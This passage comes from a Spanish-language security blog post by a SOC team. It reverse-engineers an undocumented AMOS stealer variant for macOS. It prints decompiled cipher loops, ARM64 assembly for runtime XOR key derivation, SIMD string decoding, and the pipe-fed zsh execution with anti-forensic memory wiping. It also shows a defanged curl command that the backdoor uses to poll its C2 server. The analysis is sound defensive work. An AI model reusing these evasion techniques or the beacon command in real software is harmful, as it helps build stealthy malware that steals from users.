arquitectura de ofuscación se vuelve genuinamente inusual. No hay una sino ",[1656,3969,3970],{},"dos instancias de cifrado separadas"," en el binario, cada una con una tabla de búsqueda codificada distinta y un contador de inicio diferente. Ambas utilizan la misma estructura de algoritmo, pero producen alfabetos de salida diferentes para distintas partes del pipeline del payload.",[809,3973,3974,3977,3978,3156,3981,3984],{},[1656,3975,3976],{},"Instancia A"," — ",[2509,3979,3980],{},"FUN_10007ab34",[2509,3982,3983],{},"0x10007ab34",":",[2499,3986,3987],{"style":2501},[2963,3988,3989,3992,3993,3798,3996,3998,3999,3488,4001,4003,4004,4006,4007,3488,4009,4011,4012,4014,4015,3488,4017,4019,4020,4022,4023,4026,4027,4029,4030,4032],{},[919,3990,3991],{"style":2967},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[919,3994,3995],{"style":3002},"0x4c",[919,3997,3263],{"style":2977}," {\n  bVar2 = *(",[919,4000,3650],{"style":2977},[919,4002,3194],{"style":2977},")local_e0 +\n          ((",[919,4005,3019],{"style":2977},")(*(",[919,4008,3650],{"style":2977},[919,4010,3194],{"style":2977},")local_c8 + uVar5) ^ uVar6) & ",[919,4013,3659],{"style":3002},"));\n  *(",[919,4016,3650],{"style":2977},[919,4018,3194],{"style":2977},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[919,4021,2989],{"style":2977},")uVar5 + (uVar6 ^ bVar2);  ",[919,4024,4025],{"style":2967},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[919,4028,3274],{"style":3002},";\n} ",[919,4031,3347],{"style":2977}," (uVar7 != uVar5);\n",[809,4034,4035,883,4038,3156,4041,3984],{},[1656,4036,4037],{},"Instancia B",[2509,4039,4040],{},"FUN_10007a7e0",[2509,4042,4043],{},"0x10007a7e0",[2499,4045,4046],{"style":2501},[2963,4047,4048,3992,4051,3798,4054,3998,4056,3488,4058,4060,4061,4006,4063,3488,4065,4067,4068,4014,4070,3488,4072,4019,4074,4022,4076,4026,4079,4029,4081,4032],{},[919,4049,4050],{"style":2967},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[919,4052,4053],{"style":3002},"0x9f",[919,4055,3263],{"style":2977},[919,4057,3650],{"style":2977},[919,4059,3194],{"style":2977},")local_c0 +\n          ((",[919,4062,3019],{"style":2977},[919,4064,3650],{"style":2977},[919,4066,3194],{"style":2977},")local_a8 + uVar5) ^ uVar6) & ",[919,4069,3659],{"style":3002},[919,4071,3650],{"style":2977},[919,4073,3194],{"style":2977},[919,4075,2989],{"style":2977},[919,4077,4078],{"style":2967},"// identical counter update formula",[919,4080,3274],{"style":3002},[919,4082,3347],{"style":2977},[809,4084,4085,4086,4088,4089,4091],{},"El algoritmo es estructuralmente idéntico, pero el contador de inicio difiere (",[2509,4087,3995],{}," frente a ",[2509,4090,4053],{},") y las tablas de búsqueda están en diferentes direcciones de memoria. La Instancia A se invoca desde el estado 11 de la máquina de estados para producir el alfabeto de codificación del primer path de payload. La Instancia B se invoca desde el estado 6 para producir el alfabeto de decodificación del payload del script de shell extenso.",[809,4093,4094,4095,4098,4099,4102,4103,4106],{},"Para ser precisos sobre lo que es este cifrado: es un ",[1656,4096,4097],{},"cifrado de sustitución con índice dependiente del contador",". Cada byte de salida es una búsqueda en tabla donde el índice es ",[2509,4100,4101],{},"(input_byte XOR counter) & 0xFF",". El contador se actualiza como ",[2509,4104,4105],{},"counter = (i + (counter XOR output)) & 0xFF"," tras cada byte, lo que significa que cada byte de salida retroalimenta la determinación del siguiente índice de búsqueda. Esto crea una cadena de dependencia a lo largo de toda la secuencia de salida: no es posible descifrar el byte N sin haber descifrado correctamente los bytes del 0 al N-1. Esta propiedad hace significativamente más difícil el descifrado parcial o el análisis de fallos.",[809,4108,4109],{},"Ninguna instancia es RC4 estándar. No hay una fase de inicialización del S-Box ni una operación de intercambio del S-Box. Las tablas de búsqueda son constantes estáticas precomputadas e integradas en el binario en tiempo de compilación.",[2472,4111],{},[897,4113,4115],{"id":4114},"capa-6-xor-en-tiempo-de-ejecución-con-clave-dependiente-del-código-de-salida","Capa 6: XOR en tiempo de ejecución con clave dependiente del código de salida",[809,4117,2634],{},[809,4119,4120,4121,4124],{},"La capa final y analíticamente más difícil de superar aplica una transformación XOR en memoria al payload de la Etapa 2. La clave XOR no está codificada en el binario. Se computa en tiempo de ejecución a partir del código de salida de la ",[1656,4122,4123],{},"primera ejecución del payload de shell",", lo que significa que no puede determinarse mediante ningún tipo de análisis estático. El binario debe ejecutarse realmente, el primer script de shell debe ejecutarse hasta completarse, y solo entonces existe la clave.",[809,4126,4127],{},"La secuencia de derivación de clave en el despachador de la máquina de estados ARM64:",[2499,4129,4130],{"style":2501},[2503,4131,4134],{"className":4132,"code":4133,"language":987},[2506],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[2509,4135,4133],{"__ignoreMap":927},[809,4137,4138],{},"El bucle XOR que procesa el payload de la Etapa 2:",[2499,4140,4141],{"style":2501},[2503,4142,4145],{"className":4143,"code":4144,"language":987},[2506],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[2509,4146,4144],{"__ignoreMap":927},[809,4148,4149,4150,4153,4154,4157,4158,4160],{},"La clave es un valor de 16 bits derivado del byte de estado de salida del primer payload de shell, multiplicado por ",[2509,4151,4152],{},"0x7f0"," y sumado al valor actual del registro contador base de la máquina de estados ",[2509,4155,4156],{},"w26",". La constante multiplicativa ",[2509,4159,4152],{}," implica que incluso una diferencia de un solo bit en el código de salida produce una clave completamente diferente: no existe ninguna continuidad explotable entre valores de clave adyacentes.",[809,4162,4163],{},"Sin ejecutar el binario en un entorno controlado y capturar el código de salida exacto del primer payload de shell, el payload de la Etapa 2 es permanentemente opaco al análisis estático. Esta fue la barrera más difícil que encontramos en todo el análisis.",[2472,4165],{},[819,4167,4169],{"id":4168},"ejecución-de-shell-pipes-en-lugar-de-argumentos-y-xor-simd","Ejecución de shell: pipes en lugar de argumentos, y XOR SIMD",[809,4171,2494],{},[809,4173,4174,4175,3156,4178,4181],{},"La función de ejecución de shell ",[2509,4176,4177],{},"FUN_10000091c",[2509,4179,4180],{},"0x10000091c"," es la pieza arquitectónicamente más interesante del binario. Es donde todo converge: el payload decodificado, el nombre del comando ofuscado y el diseño antiforense deliberado. Cada decisión de diseño individual en esta función es intencional y sirve a un propósito específico de evasión.",[897,4183,4185],{"id":4184},"paso-1-el-nombre-del-comando-nunca-está-en-texto-plano","Paso 1: el nombre del comando nunca está en texto plano",[809,4187,2634],{},[809,4189,4190,4191,4194,4195,3156,4198,4201,4202,4205],{},"La cadena ",[2509,4192,4193],{},"/bin/zsh"," no existe en ningún lugar del binario. Está almacenada en la sección ",[2509,4196,4197],{},"__cstring",[2509,4199,4200],{},"0x1007bb5c8"," como los bytes ofuscados ",[2509,4203,4204],{},"\\x01LG@\\x01T]F",". La decodificación ocurre en tiempo de ejecución mediante una única operación XOR, confirmada directamente en el ensamblado ARM64:",[2499,4207,4208],{"style":2501},[2503,4209,4212],{"className":4210,"code":4211,"language":987},[2506],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[2509,4213,4211],{"__ignoreMap":927},[809,4215,4216,4217,4220,4221,4223,4224,4227],{},"La clave XOR es ",[2509,4218,4219],{},"0x2e",", el valor ASCII de ",[2509,4222,3448],{}," (punto). La decodificación se realiza en un único ",[2509,4225,4226],{},"eor v0.8B, v0.8B, v1.8B",", una instrucción vectorial ARM64 NEON que aplica XOR a los 8 bytes de la cadena simultáneamente. Usar una instrucción SIMD para una decodificación simple de 8 bytes es inusual y cumple dos propósitos: es más rápido que un bucle byte a byte, y genera un patrón de instrucciones fundamentalmente diferente que las herramientas de coincidencia de firmas entrenadas en bucles de decodificación escalares no detectarán.",[809,4229,4230,4231,883,4234,883,4237,883,4240,4243,4244,4247],{},"La verificación es trivial: ",[2509,4232,4233],{},"0x01 XOR 0x2e = 0x2f = /",[2509,4235,4236],{},"0x4c XOR 0x2e = 0x62 = b",[2509,4238,4239],{},"0x47 XOR 0x2e = 0x69 = i",[2509,4241,4242],{},"0x40 XOR 0x2e = 0x6e = n",", lo que produce ",[2509,4245,4246],{},"/bin"," en los primeros cuatro bytes.",[897,4249,4251],{"id":4250},"paso-2-la-arquitectura-de-pipes","Paso 2: la arquitectura de pipes",[809,4253,2634],{},[809,4255,4256],{},"Tras decodificar el nombre del comando, la función crea un pipe del sistema operativo y hace un fork:",[2499,4258,4259],{"style":2501},[2503,4260,4263],{"className":4261,"code":4262,"language":987},[2506],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[2509,4264,4262],{"__ignoreMap":927},[809,4266,4267],{},"En el proceso hijo:",[2499,4269,4270],{"style":2501},[2503,4271,4274],{"className":4272,"code":4273,"language":987},[2506],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[2509,4275,4273],{"__ignoreMap":927},[809,4277,4278,4279,4282,4283,4286,4287,4289],{},"El proceso hijo reemplaza su entrada estándar con el extremo de lectura del pipe y luego ejecuta ",[2509,4280,4281],{},"/bin/zsh -s",". El shell en modo ",[2509,4284,4285],{},"-s"," lee comandos desde stdin. Desde el punto de vista de la monitorización de procesos, este proceso aparece como ",[2509,4288,4281],{}," sin argumentos, lo que es indistinguible de una sesión de shell interactiva legítima.",[897,4291,4293],{"id":4292},"paso-3-escrituras-en-fragmentos-de-tamaño-variable","Paso 3: escrituras en fragmentos de tamaño variable",[809,4295,2634],{},[809,4297,4298],{},"El proceso padre escribe el payload descifrado en el extremo de escritura del pipe en fragmentos de tamaño deliberadamente variable:",[2499,4300,4301],{"style":2501},[2503,4302,4305],{"className":4303,"code":4304,"language":987},[2506],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[2509,4306,4304],{"__ignoreMap":927},[809,4308,4309,4310,4313,4314,4317,4318,4321,4322,3448],{},"La fórmula de tamaño de fragmento ",[2509,4311,4312],{},"(remaining_length % 192) + 64"," produce valores de entre 64 y 255 bytes por llamada de escritura, variando en función de la longitud restante del payload. Este enfoque de fragmentación variable significa que el patrón de escritura, visible en herramientas de rastreo de eventos del kernel como ",[2509,4315,4316],{},"ktrace"," o ",[2509,4319,4320],{},"dtrace",", no produce una firma de tamaño fijo reconocible. Cada ejecución del mismo payload produce una secuencia diferente de tamaños de llamada ",[2509,4323,4324],{},"write()",[809,4326,3397,4327,4329],{},[2509,4328,3038],{}," de 1 microsegundo entre fragmentos cumple un propósito secundario: cede la CPU entre escrituras, manteniendo el uso de CPU del proceso constante y evitando un pico repentino que una regla EDR de comportamiento podría marcar como I/O en ráfaga anómala.",[897,4331,4333],{"id":4332},"paso-4-borrado-inmediato-de-memoria","Paso 4: borrado inmediato de memoria",[809,4335,2634],{},[2499,4337,4338],{"style":2501},[2503,4339,4342],{"className":4340,"code":4341,"language":987},[2506],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[2509,4343,4341],{"__ignoreMap":927},[809,4345,4346,4347,4350],{},"La llamada ",[2509,4348,4349],{},"_bzero()"," pone a cero el buffer completo del payload descifrado inmediatamente después de que el último byte ha sido escrito en el pipe. No existe ningún momento, ni siquiera un microsegundo, en que el payload descifrado permanezca en memoria una vez completada la ejecución. Un volcado de memoria en vivo tomado en el instante posterior a que esta función retorne solo encontrará ceros donde estaba el payload.",[809,4352,4353,4354,4357],{},"Esta técnica se denomina ",[1656,4355,4356],{},"zero-after-use"," y es la misma que utilizan las bibliotecas criptográficas de alta seguridad para evitar que el material de clave secreta persista en memoria. Verla en malware de uso general es inusual e indica un desarrollador con formación en ingeniería de seguridad.",[897,4359,4361],{"id":4360},"la-secuencia-de-ejecución-completa","La secuencia de ejecución completa:",[809,4363,2634],{},[2499,4365,4366],{"style":2501},[2503,4367,4370],{"className":4368,"code":4369,"language":987},[2506],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[2509,4371,4369],{"__ignoreMap":927},[819,4373,4375],{"id":4374},"la-tabla-de-importaciones-como-arma","La tabla de importaciones como arma",[809,4377,2494],{},[809,4379,4380],{},"La tabla de importaciones completa de este binario es:",[2499,4382,4383],{"style":2501},[2503,4384,4387],{"className":4385,"code":4386,"language":987},[2506],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[2509,4388,4386],{"__ignoreMap":927},[809,4390,4391],{},"El recuento total de importaciones es de 27 símbolos. Lo que falta es tan significativo como lo que está presente.",[897,4393,4395],{"id":4394},"ausente-red","Ausente: red",[809,4397,2634],{},[2499,4399,4400],{"style":2501},[2503,4401,4404],{"className":4402,"code":4403,"language":987},[2506],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[2509,4405,4403],{"__ignoreMap":927},[897,4407,4409],{"id":4408},"ausente-sistema-de-archivos","Ausente: sistema de archivos",[809,4411,2634],{},[2499,4413,4414],{"style":2501},[2503,4415,4418],{"className":4416,"code":4417,"language":987},[2506],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[2509,4419,4417],{"__ignoreMap":927},[897,4421,4423],{"id":4422},"ausente-introspección-de-procesos","Ausente: introspección de procesos",[809,4425,2634],{},[2499,4427,4428],{"style":2501},[2503,4429,4432],{"className":4430,"code":4431,"language":987},[2506],"getpid      getuid      getenv      sysctl\n",[2509,4433,4431],{"__ignoreMap":927},[897,4435,4437],{"id":4436},"ausente-criptografía","Ausente: criptografía",[809,4439,2494],{},[2499,4441,4442],{"style":2501},[2503,4443,4446],{"className":4444,"code":4445,"language":987},[2506],"CCCrypt     SecItemAdd  SecKeychainFind\n",[2509,4447,4445],{"__ignoreMap":927},[809,4449,4450,4451,883,4454,4457,4458,883,4461,4464,4465,4468],{},"En una muestra de malware tradicional, se esperan importaciones para networking (",[2509,4452,4453],{},"socket",[2509,4455,4456],{},"connect",") o manipulación de archivos (",[2509,4459,4460],{},"fopen",[2509,4462,4463],{},"write","). Este binario no tiene ",[1656,4466,4467],{},"ninguna",". Para un escáner estándar, este binario parece un lanzador de procesos inofensivo. Esta es una decisión arquitectónica deliberada para eludir las herramientas de análisis estático que marcan el uso sospechoso de APIs.",[809,4470,2839,4471,4473],{},[2509,4472,2842],{}," no realiza el robo por sí mismo. Su único propósito es depositar y ejecutar el payload malicioso real: un AppleScript fuertemente ofuscado. Un EDR o AV independiente que busque \"binarios maliciosos\" verá un loader sin capacidades de red ni I/O de archivos y potencialmente le otorgará un veredicto de \"limpio\". Perderá de vista que el binario es un sistema de entrega especializado para un payload de script de alto nivel.",[2472,4475],{},[1939,4477,4479],{"id":4478},"la-puerta-trasera","La puerta trasera",[809,4481,825],{},[809,4483,4484,4485,4488],{},"El incidente no terminó tras el compromiso inicial. La telemetría de Microsoft Defender mostró un proceso ejecutándose desde ",[2509,4486,4487],{},"/Users/\u003Credacted>/.mainhelper",", consultando periódicamente un servidor externo:",[2499,4490,4491],{"style":2501},[2503,4492,4494],{"className":2703,"code":4493,"language":2705,"meta":927,"style":927},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[2509,4495,4496],{"__ignoreMap":927},[919,4497,4498,4501,4503],{"class":2548,"line":2549},[919,4499,4500],{"class":2712},"sh",[919,4502,2717],{"class":2716},[919,4504,4505],{"class":2730}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[809,4507,4508],{},"La cadena Base64 se decodifica en un UUID de dispositivo de 16 bytes, el identificador único asignado a esta máquina por la infraestructura C2 del atacante el día de la infección inicial.",[809,4510,2839,4511,4514,4515,4518,4519,4521],{},[2509,4512,4513],{},".mainhelper"," (SHA-256: ",[2509,4516,4517],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") había sido instalado por el dropper de osascript mediante ",[2509,4520,2713],{}," el día del incidente.",[2472,4523],{},[1939,4525,4527],{"id":4526},"el-poder-del-escudo-colectivo-nuestra-plataforma-exclusiva-de-shared-threat-intelligence","El poder del escudo colectivo: nuestra plataforma exclusiva de Shared Threat Intelligence",[809,4529,825],{},[809,4531,4532],{},"Cuando se activa una alerta en nuestro SOC, el reloj no empieza solo para el cliente afectado, sino para cada organización bajo el escudo de glueckkanja. Esta investigación sobre una variante de AMOS no documentada pone de manifiesto la naturaleza crítica de la brecha de inteligencia: esa peligrosa ventana en la que los proveedores tradicionales están ciegos porque todavía no han visto la amenaza.",[809,4534,4535],{},"Aquí es donde nuestra plataforma de Shared Threat Intelligence, desarrollada exclusivamente para nuestros clientes del CSOC de glueckkanja, demuestra su valor decisivo. No esperamos las actualizaciones del sector, las creamos nosotros. Mientras nuestros analistas seguían desmantelando las últimas capas del ensamblado ARM64, nuestro Motor de Orquestación Automatizada ya estaba distribuyendo los indicadores extraídos por todo nuestro ecosistema. Esto crea un efecto inmediato de inmunidad colectiva, donde un descubrimiento en un único endpoint se convierte en una amenaza bloqueada para cada organización que protegemos en cuestión de minutos.",[809,4537,4538],{},"La seguridad reactiva es una reliquia del pasado cuando se enfrentan amenazas diseñadas para colarse por las grietas de las defensas convencionales. La respuesta reside en combinar la experiencia humana con una arquitectura capaz de desplegar ese conocimiento de forma instantánea y a escala. Cuando estos conocimientos se canalizan a través de nuestro modelo de inteligencia compartida, la ventaja temporal del atacante puede transformarse en una desventaja, protegiendo a nuestros clientes incluso antes de que el sector haya reconocido la amenaza.",[2472,4540],{},[892,4542,4543,4548,4551,4554],{},[809,4544,4545],{},[1656,4546,4547],{},"Nota sobre privacidad de datos",[809,4549,4550],{},"La información identificativa ha sido anonimizada en esta publicación. Detalles técnicos específicos, indicadores y marcas de tiempo pueden haber sido ligeramente alterados para garantizar la protección continuada del entorno afectado, manteniendo al mismo tiempo la integridad técnica íntegra del análisis.",[809,4552,4553],{},"El análisis técnico y los indicadores de compromiso (IOC) incluidos en este informe tienen fines ilustrativos y educativos únicamente. Esta información se proporciona \"en la medida de lo posible\". glueckkanja AG no ofrece garantías, expresas ni implícitas, sobre la integridad o exactitud de los datos y no se hace responsable de daños, pérdidas o incidentes de seguridad derivados del uso o la implementación de la información, reglas o firmas aquí compartidas. Se recomienda encarecidamente a los usuarios que validen todos los indicadores y reglas en un entorno controlado antes de su despliegue.",[809,4555,4556],{},"Los indicadores y técnicas descritos pueden solaparse con familias de malware conocidas y no son exclusivos de una única campaña.",[4558,4559,4560],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":927,"searchDepth":928,"depth":928,"links":4562},[4563,4564,4565,4566,4573,4574,4575,4576,4584,4591],{"id":2490,"depth":928,"text":2491},{"id":2530,"depth":928,"text":2531},{"id":2589,"depth":928,"text":2590},{"id":2621,"depth":928,"text":2622,"children":4567},[4568,4569,4570,4571,4572],{"id":2630,"depth":935,"text":2631},{"id":2645,"depth":935,"text":2646},{"id":2659,"depth":935,"text":2660},{"id":2668,"depth":935,"text":2669},{"id":2685,"depth":935,"text":2686},{"id":2849,"depth":928,"text":2850},{"id":2938,"depth":928,"text":2939},{"id":3053,"depth":928,"text":3054},{"id":3124,"depth":928,"text":3125,"children":4577},[4578,4579,4580,4581,4582,4583],{"id":3139,"depth":935,"text":3140},{"id":3427,"depth":935,"text":3428},{"id":3682,"depth":935,"text":3683},{"id":3874,"depth":935,"text":3875},{"id":3961,"depth":935,"text":3962},{"id":4114,"depth":935,"text":4115},{"id":4168,"depth":928,"text":4169,"children":4585},[4586,4587,4588,4589,4590],{"id":4184,"depth":935,"text":4185},{"id":4250,"depth":935,"text":4251},{"id":4292,"depth":935,"text":4293},{"id":4332,"depth":935,"text":4333},{"id":4360,"depth":935,"text":4361},{"id":4374,"depth":928,"text":4375,"children":4592},[4593,4594,4595,4596],{"id":4394,"depth":935,"text":4395},{"id":4408,"depth":935,"text":4409},{"id":4422,"depth":935,"text":4423},{"id":4436,"depth":935,"text":4437},{"lang":940,"seoTitle":4598,"titleClass":942,"date":4599,"categories":4600,"blogtitlepic":4601,"socialimg":4602,"customExcerpt":4603,"keywords":4604,"maxContent":511,"asideNav":4605,"footer":4621,"contactInContent":4622,"published":511,"hreflang":4646},"Variante AMOS Stealer: Ingeniería inversa de un malware macOS desconocido — Del incidente a la inteligencia","2026-04-10",[373],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Una variante de AMOS stealer no documentada previamente comprometió un endpoint macOS. Sin hashes conocidos, sin datos de C2 en ninguna base de datos pública. Nuestro SOC desmanteló seis capas de ofuscación, extrajo todos los indicadores y distribuyó la protección a todos los clientes SOC en cuestión de horas, antes de que el sector hubiera visto siquiera la muestra.","AMOS stealer, malware macOS, ingeniería inversa, análisis de malware, Ghidra, ARM64, respuesta a incidentes, threat intelligence, CSOC, seguridad macOS, stealer malware, shared threat intelligence, atomic macOS stealer",{"menuItems":4606},[4607,4610,4613,4616,4618],{"href":4608,"text":4609},"#el-incidente-un-escenario-con-ioc-desconocido","El incidente",{"href":4611,"text":4612},"#stage-1-comprobaciones-de-sandbox","Stage 1: Sandbox",{"href":4614,"text":4615},"#stage-2-ingenieria-inversa-del-binario-helper","Stage 2: Análisis binario",{"href":4617,"text":4479},"#la-puerta-trasera",{"href":4619,"text":4620},"#el-poder-del-escudo-colectivo-nuestra-plataforma-de-shared-threat-intelligence","Shared Threat Intelligence",{"noMargin":511},{"quote":511,"infos":4623},{"bgColor":952,"headline":4624,"subline":4625,"level":819,"textStyling":956,"flush":957,"person":4626,"form":4628},"Contactadnos","¿Queréis saber cómo nuestra plataforma de Shared Threat Intelligence os protege frente a variantes de malware desconocidas antes de que el sector las detecte? Hablemos.",{"image":1896,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":4627},"Lo peligroso de esta variante no era la complejidad técnica, por impresionante que sea. Lo peligroso era la ventana de tiempo. Sin Shared Threat Intelligence, nuestros otros clientes habrían estado expuestos durante horas mientras todavía analizábamos.",{"ctaText":976,"cta":4629,"method":938,"action":979,"fields":4630},{"skin":978},[4631,4632,4633,4634,4636,4637,4639,4640,4641,4643,4644,4645],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":989},{"label":991,"type":987,"id":615,"required":511,"requiredMsg":992},{"label":994,"type":995,"id":995,"required":511,"requiredMsg":4635},"Por favor, introducid vuestra dirección de correo.",{"label":998,"type":999,"id":1000,"required":752,"requiredMsg":1001},{"label":4638,"type":1004,"id":1005,"required":511,"requiredMsg":1006},"Vuestros datos se almacenarán con nosotros con el fin de procesar y responder a vuestra consulta. Para más información sobre protección de datos, consultad nuestra \u003Ca href=\"/es/privacy\">Política de privacidad\u003C/a>.",{"type":982,"id":1008,"value":373},{"type":982,"id":1010,"value":2337},{"type":982,"id":1013,"value":4642},"Form: Blog AMOS Stealer CSOC | ES",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},[4647,4649,4651],{"lang":1026,"href":4648},"/en/posts/2026-04-10-incident-to-intelligence",{"lang":4,"href":4650},"/de/posts/2026-04-10-incident-to-intelligence",{"lang":940,"href":4652},"/es/posts/2026-04-10-incident-to-intelligence","/posts/2026-04-10-incident-to-intelligence",{"title":2458,"description":2464},"posts/2026-04-10-incident-to-intelligence",[4657,4658,4659,4660,4661],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","ORLfRmF1ttMzQ3kjHHioegJt0iSsq8t4I0tkbgHfalg",{"id":4664,"title":4665,"author":4666,"body":4667,"cta":767,"description":4671,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":4856,"moment":4858,"navigation":511,"path":4884,"seo":4885,"stem":4886,"tags":767,"webcast":752,"__hash__":4887},"content_es/posts/2026-03-21-microsoft-edge-corporate-browser.md","Por qué Edge debería ser vuestro único navegador corporativo",[1094],{"type":806,"value":4668,"toc":4848},[4669,4672,4676,4678,4684,4688,4690,4693,4697,4699,4702,4716,4720,4722,4728,4734,4737,4779,4787,4791,4793,4801,4812,4814,4816,4819,4845],[809,4670,4671],{},"En entornos empresariales, la elección del navegador no es un detalle menor. Determina cuánta seguridad, cuánto esfuerzo de gestión y cuánta productividad obtenéis en la práctica. Google Chrome ha sido durante mucho tiempo la opción obvia, pero Microsoft Edge ha evolucionado hasta ofrecer ventajas reales, especialmente cuando Microsoft 365 está en uso y la gestión se hace a través de Microsoft Intune.",[819,4673,4675],{"id":4674},"seguridad","Seguridad",[809,4677,825],{},[809,4679,4680,4681,4683],{},"Un Microsoft 